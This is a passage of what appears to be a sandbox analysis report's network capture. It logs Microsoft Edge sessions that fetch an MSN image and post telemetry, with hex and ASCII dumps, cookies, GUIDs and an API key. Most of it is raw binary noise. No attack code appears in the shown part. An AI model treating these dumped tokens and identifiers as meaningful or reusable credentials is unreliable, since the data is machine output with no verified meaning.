39Xku8}G^7Ut"3.@kos=UUAn#z6U@$Li'$ncA\Uayb\Ipn_+C5Gad;)KlUi-7X9"a%v @\65JqDu2lB)crb
2024-11-25 11:09:00 UTC	16384	IN	Data Raw: 99 5a 41 18 66 53 40 00 a5 08 06 45 74 d0 0c 89 08 06 09 34 00 19 4d 00 02 42 08 c0 42 00 04 84 00 64 84 00 02 10 0c 89 34 ac 15 72 24 5d 2b 1a ae 92 4d 2b 05 5c 89 09 03 19 04 5d 05 99 9e 41 24 8e f2 71 25 68 08 41 5e 4c 5a 02 68 06 02 69 17 aa a0 e2 39 1a d0 05 08 99 e6 a8 5c 44 f4 48 13 01 4c a6 65 ac 2e 21 b0 8e f4 a5 12 a8 5c 43 48 84 e5 9c c9 aa cd 26 13 96 61 49 47 54 81 09 4d 93 2a 83 84 81 c4 6b 92 cd b5 f0 ba ce aa 62 44 b5 a6 a9 8e 25 16 eb 0e 95 2a 84 98 97 47 af 82 cd 1f e8 90 46 51 3e 2b 83 72 88 b1 ee f6 bd 2d aa e6 e5 b3 9f 07 6e 9b 6a 3e e4 34 5b 22 ef fb 6e 7d aa 16 64 08 02 da 48 69 f0 8f 89 0b cb aa 68 8d 2f af 4f ba aa f6 ca ef 5a 8c 73 ad b4 d2 ff 00 64 53 ed c1 d6 8d a1 b1 21 90 23 ea f3 b1 52 53 63 dd 20 b4 81 c9 cd 3e be 6b 8f f0 Data Ascii: ZAfS@Et4MBBd4r$]+M+\]A$q%hA^LZhi9\DHLe.!\CH&aIGTMkbD%GFQ>+r-nj>4["n}dHih/OZsdS!#RSc >k
2024-11-25 11:09:00 UTC	7952	IN	Data Raw: f3 0a 91 71 e3 e5 e8 5c 78 b9 3b 62 98 e9 e2 ed b7 37 14 d5 3d 7c 3f 45 c8 e6 3c 15 27 17 c5 81 3e 0b 92 ee c8 8a 6f c1 d9 67 0c d5 5d b8 f8 2d c2 e7 76 ae 1a 11 e1 ef 5c b7 77 c5 14 f5 87 65 9e 77 79 57 67 93 a3 0b 9d 8a ae 90 3d 7a ae 0b bb f0 ed f1 7a 13 1e d9 bc e8 ab 73 82 fe 18 d7 e2 b9 c5 d5 9b f3 37 be 3d e1 71 62 bf 0f 93 bb 0e dc fb b3 e9 7f b3 bb 05 b8 fc de 7e 2d c8 f7 a9 f5 b7 dd d3 dd 1c 7c 4f bd 73 05 47 bb 27 b3 a0 3e 92 b8 33 9e 9e 50 ef c1 4c 7b b5 76 cc 3d 1f c6 3a f9 cf dd e7 63 aa 7d fa 7b 22 7f 57 62 dc 5d fe 6f 4a e4 9c 64 66 e1 e1 ef 5e 66 7c bc bf 47 a7 f8 c7 08 f1 fb 3d 4c b9 f9 fe af 2f f2 98 d6 7c 3e ee 83 9c 3e a1 e3 3e d5 cb ec 89 f9 8a e1 a6 99 e9 3e 4f 4b bc 88 f7 61 e8 55 54 47 18 f3 79 5d dc cf bc e8 17 73 5c c3 b3 8c cf Data Ascii: q\x;b7=\|?E<'>og]-v\wewyWg=zzs7=qb~-\|OsG'>3PL{v=:c}{"Wb]oJdf^f\|G=L/\|>>>>OKaUTGy]s\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.8	49829	104.117.182.56	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:59 UTC	634	OUT	GET /tenant/amp/entityid/BB1msOP1.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 11:09:00 UTC	518	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msOP1 Last-Modified: Thu, 21 Nov 2024 00:25:48 GMT X-Source-Length: 93971 X-Datacenter: eastus X-ActivityId: 29ec45b0-1d23-4a38-b77c-cc421d869da4 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 93971 Cache-Control: public, max-age=47783 Expires: Tue, 26 Nov 2024 00:25:22 GMT Date: Mon, 25 Nov 2024 11:08:59 GMT Connection: close
2024-11-25 11:09:00 UTC	15866	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-25 11:09:00 UTC	16384	IN	Data Raw: a4 36 cb df b3 ba c7 b3 04 ed 90 f6 e2 c2 e6 e2 15 12 1c 08 23 50 44 21 50 5e 9a f9 a6 e1 58 88 88 04 75 48 8b 6b 98 b4 55 49 21 35 87 dd 35 26 9a 44 0e 7e 35 49 54 56 24 0a c4 e4 3a d3 25 88 82 73 12 46 2c 8f 29 d5 48 5d 8d c6 6d ee 35 cf db 1b cd 13 3b 65 ce 68 24 82 2e d8 34 30 69 78 42 73 cb ea e3 26 05 79 08 4a a2 ca 49 52 35 6d 63 cb 5c f6 87 76 43 9c 40 9c 23 10 01 c4 8f c4 49 02 4e 65 45 b3 aa 23 1d 30 c2 ef d6 d3 47 11 31 13 3d c0 55 c0 10 0c 29 02 b4 c1 ad 79 db 8a aa 65 6e a9 71 fa 29 25 31 ae 97 e2 b4 2c 69 c5 4d 28 96 43 62 66 0e 29 81 59 31 87 5a 6b 9a bc 6c 6b dc 58 de d3 88 37 17 71 6e 2b 56 04 90 3a 20 95 58 4e 0c 52 db c4 4f 75 a6 70 e9 d5 4b 52 aa 41 6c 45 6f 3e 54 f9 a5 34 8f 1c b8 26 d6 cd c8 02 b5 e4 26 38 d8 2d 03 88 ad 46 87 29 1d Data Ascii: 6#PD!P^XuHkUI!55&D~5ITV$:%sF,)H]m5;eh$.40ixBs&yJIR5mc\vC@#INeE#0G1=U)yenq)%1,iM(Cbf)Y1ZklkX7qn+V: XNROupKRAlEo>T4&&8-F)
2024-11-25 11:09:00 UTC	2689	IN	Data Raw: cc 99 ce ca d2 0c 19 c8 45 ea b3 1d 04 82 d0 6b 50 e2 40 a7 28 77 ba a9 07 3a 4d 94 43 71 18 32 64 d6 b0 78 ac a2 c5 12 20 1e a2 6e d3 71 06 2b 65 9d 79 10 66 b4 f4 e1 6e aa 84 dc 52 d6 14 06 66 2a 6b aa 89 fc a6 bc bd 62 2b d5 05 65 d2 1c 5c 6f d2 f5 d3 45 0d 70 26 b4 eb 68 eb 62 86 58 e8 2e 83 84 10 31 65 26 48 f3 85 27 aa 0b b8 38 bc d2 4b 9c 60 61 10 0f 5b cc 92 2b ce 55 07 46 d9 93 6b 0b c9 b5 81 a4 0e 0b 9b 6c 12 1d 04 d8 d2 40 91 a7 59 d0 23 34 c0 6e 29 70 ac b6 63 3b 50 cd 4f ba 63 2a 21 bb 8e 26 03 45 04 34 90 db 6a e2 7f 95 b0 06 48 37 b4 52 63 50 7a 84 f0 b9 ae 20 c1 ce 41 11 c2 25 ab 0d a9 ac cd a8 01 12 33 e5 09 d3 3c 41 70 b4 35 bd d8 84 d6 86 87 4e a9 b8 b3 07 6f 6b ad 84 09 10 3f d4 4c c9 e8 2b a8 45 a3 59 63 06 7b 64 1f 5a 8f 9a 0e 17 3d Data Ascii: EkP@(w:MCq2dx nq+eyfnRfkb+e\oEp&hbX.1e&H'8K`a[+UFkl@Y#4n)pc;POc!&E4jH7RcPz A%3<Ap5Nok?L+EYc{dZ=
2024-11-25 11:09:00 UTC	16384	IN	Data Raw: 14 b8 0f 4e b9 ab 76 28 e7 5a 6b c3 35 0e 0e 1e 95 f4 52 11 c4 48 87 54 92 0d 22 04 d2 49 92 ea 6b a4 28 34 a4 9b da 0f 9f 14 da 70 65 5c f2 a7 8a a4 23 43 32 22 b9 29 63 12 08 10 39 ce a7 4d 07 45 a2 97 32 3c 80 5a 3a 52 4c 4e 7c 8d 13 ec ac 12 22 22 73 f2 b4 75 41 49 34 98 a7 01 3c d1 71 54 b9 b2 09 6f 68 69 23 0d 73 24 54 08 88 9e b2 82 40 8b cf 0f 4b d3 ad 16 98 3d 3a 28 c8 21 25 f5 2e a9 26 4e 66 6a 49 d7 8a ac 2e 74 40 8a c6 84 f9 88 f1 55 4e 3b 8e 2d 71 6b 41 c2 d0 dc 20 32 70 80 2a 03 44 bb fc 8e 66 b2 8b 1b 85 a1 a5 ce 2d 93 86 7f f9 60 dd f8 66 9a 12 42 8f a4 05 a0 07 f7 8e d1 42 29 31 9e 19 b1 d0 d5 63 d9 af 1b 1e 08 bb 90 21 87 00 0d c5 07 ba b5 26 fa 7f 8d 05 ea b1 3f a8 c9 6b 81 6e 17 00 40 23 15 08 c4 1c 2a 30 e5 10 79 27 d0 7a b9 27 92 c4 Data Ascii: Nv(Zk5RHT"Ik(4pe\#C2")c9ME2<Z:RLN\|""suAI4<qTohi#s$T@K=:(!%.&NfjI.t@UN;-qkA 2pDf-`fBB)1c!&?kn@#0y'z'
2024-11-25 11:09:00 UTC	16384	IN	Data Raw: 6e 23 e4 b3 a7 1c bb e0 35 97 19 e5 04 71 b9 5e 6c 02 bd 1d d2 37 43 87 22 29 02 f6 f1 2b 91 f4 02 84 00 63 f8 5d ba b9 77 3d a1 86 e0 44 1e 28 db 83 b4 13 e0 20 ec e3 dc 34 6b 9d 11 20 02 6e 60 4c 5a 49 03 9a 37 73 e8 05 8d be 55 95 a7 30 66 20 c1 13 6a 64 8a 48 36 d3 c1 49 c2 8d 65 00 04 9b 00 65 d9 4d c8 11 41 60 67 55 23 6e b1 6e b9 7a 14 b2 23 0c 9b 13 59 cf d1 10 1d 79 75 01 0e 1c c7 12 08 31 40 5a 69 cc 13 06 a8 ed 70 ac d4 47 23 d1 2c 90 dc 6b 36 b7 19 fa f6 df 8c 34 07 38 1c 6c 73 4c e2 61 11 18 aa 08 a8 21 03 0e be 0e 53 d1 74 5e 48 14 a5 6f 1f 75 0e 69 00 45 ef 33 79 e8 b5 19 04 cb 25 a0 83 20 13 4e 30 24 48 ea 85 4f ba 39 6f dc a4 fd bc 39 f7 66 0c 53 dd 68 39 cb 6f 33 e8 b0 ed 24 5e 69 5f e5 18 17 03 42 68 71 37 a3 86 7c d4 ba 93 20 e2 26 a4 Data Ascii: n#5q^l7C")+c]w=D( 4k n`LZI7sU0f jdH6IeeMA`gU#nnz#Yyu1@ZipG#,k648lsLa!St^HouiE3y% N0$HO9o9fSh9o3$^i_Bhq7\| &
2024-11-25 11:09:00 UTC	7952	IN	Data Raw: d6 1d 84 56 26 2d 9f 43 c5 71 b1 df af 67 60 dd 18 48 ac c5 26 3c 59 75 7e ce d0 24 44 45 6e 34 8e 2b ca 79 c8 b6 1d 63 34 f2 1e cb 35 f0 d1 39 5f 2e 0b 18 e9 a7 f1 0f 20 35 c0 c9 b1 5e 46 eb 85 e6 78 7b af 53 71 8e c2 c7 90 40 7b 65 a4 d9 e2 48 91 c4 47 35 e5 6e 06 c7 e3 06 69 5b 5e 64 75 a4 55 6b aa ed 41 80 74 27 82 1b 99 4a 9a e5 4a 55 13 08 26 45 00 3d 68 ba 4f c6 6f 1d cd a7 3b 03 ff 00 4e db b6 58 1c c0 47 eb 38 86 12 22 b1 8c 90 4d 41 88 b2 f4 75 cf 7b 8f 3f 79 7d a6 bc e7 35 b3 35 c3 94 c0 3f 78 cd 22 d1 48 33 23 2c ab 63 d5 14 ed 81 5a 9e a8 a3 6d a4 08 9b d4 88 a0 d2 33 56 8e 35 ca e6 80 75 f4 e0 8c 36 c5 d1 06 db 4c 56 01 35 c8 fd 0a 4e a4 0c 56 14 a4 1b 9b eb cd 1a dc 86 dc 46 18 26 b1 49 89 39 7a a2 3b 6f 03 a2 67 0d ce 40 f3 f6 e6 82 0f 5e Data Ascii: V&-Cqg`H&<Yu~$DEn4+yc459_. 5^Fx{Sq@{eHG5ni[^duUkAt'JJU&E=hOo;NXG8"MAu{?y}55?x"H3#,cZm3V5u6LV5NVF&I9z;og@^
2024-11-25 11:09:00 UTC	16384	IN	Data Raw: 4a 69 a7 9b 1c 49 22 aa 12 59 fc 9f 71 c7 52 92 a2 92 3f 23 53 a5 fa 06 54 22 15 25 1f 94 fe 30 8a 19 45 28 65 6a 7c ba 3f 10 45 0c a2 94 32 b5 f9 47 e3 0c a1 94 42 a4 a7 f2 2f c6 1a 85 65 49 57 33 c1 17 52 55 15 32 b5 c9 70 4a 94 ca 92 53 3b 2e 09 2a 4a 72 a0 94 f2 5c 18 a9 5a 54 ca 79 2e 0c 52 52 5c a4 b9 5a b8 a9 64 32 f5 1f b1 06 75 1d 35 cf fb 02 df b9 a3 31 e6 8b 2f d1 a9 8e 89 4a 57 2b be 25 82 b8 82 03 be 31 83 aa 27 c7 df b7 fa 68 e7 d2 7f aa 7e af 43 10 54 1c bc 7f f7 cc ea 91 f8 e7 64 d3 c5 6b fd bf c9 7d 99 fc df 1c f7 7b ed 2b b7 6d b8 97 c6 3f fe 53 75 8e 22 02 bd bf f9 1f 8c 73 27 f6 96 5f fd 3e 81 72 ef fc 07 cb db df ac ff 00 9f 66 ba ff 00 19 f1 cf 19 da be e8 ec 3a 26 0a f2 be 23 7b 6f 6c c1 7b 47 49 5f 29 bb f1 9f 13 b9 47 6f 3c d2 c5 Data Ascii: JiI"YqR?#ST"%0E(ej\|?E2GB/eIW3RU2pJS;.*Jr\ZTy.RR\Zd2u51/JW+%1'h~CTdk}{+m?Su"s'_>rf:&#{ol{GI_)Go<
2024-11-25 11:09:00 UTC	1928	IN	Data Raw: a9 57 45 92 24 d1 0e b3 4a 2d 88 05 25 c0 73 44 8d 89 10 b2 8f d8 0a c0 f3 e0 ac 1a b5 51 55 18 b4 13 ea b6 37 73 1e e1 04 48 5a 88 12 6a 26 46 99 a8 c5 4d 47 a2 78 8d 74 62 01 6c 7f c7 d1 73 cc 18 3a 66 94 f8 36 f3 57 11 c9 d1 fb 2d d7 87 d9 2c 67 c7 82 82 09 e1 d0 cf b2 d3 cb ff 00 84 ab 8a da 3e 3f 02 16 c4 7c 7d c2 0c f3 f5 09 ce 77 e5 43 e4 ac 5a 36 29 f1 f7 58 1c 8d 34 28 53 9c c8 d0 dd 69 cd b4 e8 8c 3a 34 cb ba 8c c2 41 d2 26 e7 c6 88 77 a8 be 89 82 0b a6 ca c5 aa 92 e1 4e 23 f9 5a 97 b7 9f c9 4c c1 ee 17 cd 31 39 43 86 8a c2 ae b1 3e 47 ee 98 75 32 3d 2a 14 52 68 4b 4e 99 27 7f c8 7f dc 14 96 5d 84 67 c8 d4 2c 6a d0 44 18 50 45 2f 88 7b ad 43 f8 d0 e8 84 bc 41 c2 26 12 26 90 e1 4d 42 52 0d 1c 23 aa d2 e6 8a 59 48 c4 da 8e 1d 52 06 3f c9 be 89 1c Data Ascii: WE$J-%sDQU7sHZj&FMGxtbls:f6W-,g>?\|}wCZ6)X4(Si:4A&wN#ZL19C>Gu2=*RhKN']g,jDPE/{CA&&MBR#YHR?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.8	49831	20.189.173.24	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:02 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732532938948&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11600 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0A576580DC7A6D0124D170C2DDEE6CAA; _EDGE_S=F=1&SID=1E9460D0D047688427CB7592D1A5693C; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-25 11:09:02 UTC	11600	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 35 54 31 31 3a 30 38 3a 35 38 2e 39 34 37 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 64 65 33 34 31 37 33 62 2d 66 65 39 36 2d 34 34 32 39 2d 39 36 61 30 2d 32 62 64 30 39 38 37 39 30 66 34 64 22 2c 22 65 70 6f 63 68 22 3a 22 31 35 30 33 37 31 34 35 35 33 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-25T11:08:58.947Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"de34173b-fe96-4429-96a0-2bd098790f4d","epoch":"1503714553"},"app":{"locale
2024-11-25 11:09:02 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=76ecedfbd3294a2f8de2a7f7b8edb5ba&HASH=76ec&LV=202411&V=4&LU=1732532942208; Domain=.microsoft.com; Expires=Tue, 25 Nov 2025 11:09:02 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=7d9c578fcf604c3381fe2be33478aa18; Domain=.microsoft.com; Expires=Mon, 25 Nov 2024 11:39:02 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3260 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 25 Nov 2024 11:09:01 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.8	49832	20.189.173.24	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:02 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732532938952&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5051 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0A576580DC7A6D0124D170C2DDEE6CAA; _EDGE_S=F=1&SID=1E9460D0D047688427CB7592D1A5693C; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-25 11:09:02 UTC	5051	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 35 54 31 31 3a 30 38 3a 35 38 2e 39 35 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 64 65 33 34 31 37 33 62 2d 66 65 39 36 2d 34 34 32 39 2d 39 36 61 30 2d 32 62 64 30 39 38 37 39 30 66 34 64 22 2c 22 65 70 6f 63 68 22 3a 22 31 35 30 33 37 31 34 35 35 33 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-25T11:08:58.951Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"de34173b-fe96-4429-96a0-2bd098790f4d","epoch":"1503714553"},"app":{"locale
2024-11-25 11:09:13 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=ed51d45096ac41f0b05723706cbe0828&HASH=ed51&LV=202411&V=4&LU=1732532942255; Domain=.microsoft.com; Expires=Tue, 25 Nov 2025 11:09:02 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=11a7ebe177664e718796fe02b9cd47f3; Domain=.microsoft.com; Expires=Mon, 25 Nov 2024 11:39:02 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3303 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 25 Nov 2024 11:09:13 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.8	49833	20.189.173.24	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:02 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732532939876&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5249 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0A576580DC7A6D0124D170C2DDEE6CAA; _EDGE_S=F=1&SID=1E9460D0D047688427CB7592D1A5693C; _EDGE_V=1; msnup=
2024-11-25 11:09:02 UTC	5249	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 35 54 31 31 3a 30 38 3a 35 39 2e 38 37 35 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 64 65 33 34 31 37 33 62 2d 66 65 39 36 2d 34 34 32 39 2d 39 36 61 30 2d 32 62 64 30 39 38 37 39 30 66 34 64 22 2c 22 65 70 6f 63 68 22 3a 22 31 35 30 33 37 31 34 35 35 33 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-25T11:08:59.875Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"de34173b-fe96-4429-96a0-2bd098790f4d","epoch":"1503714553"},"app":{"locale
2024-11-25 11:09:03 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=bf5017c964b94742999ee4d917ce5a28&HASH=bf50&LV=202411&V=4&LU=1732532943011; Domain=.microsoft.com; Expires=Tue, 25 Nov 2025 11:09:03 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=35e84112add048e49e2561b9294afd1f; Domain=.microsoft.com; Expires=Mon, 25 Nov 2024 11:39:03 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3135 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 25 Nov 2024 11:09:02 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.8	49834	20.189.173.24	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
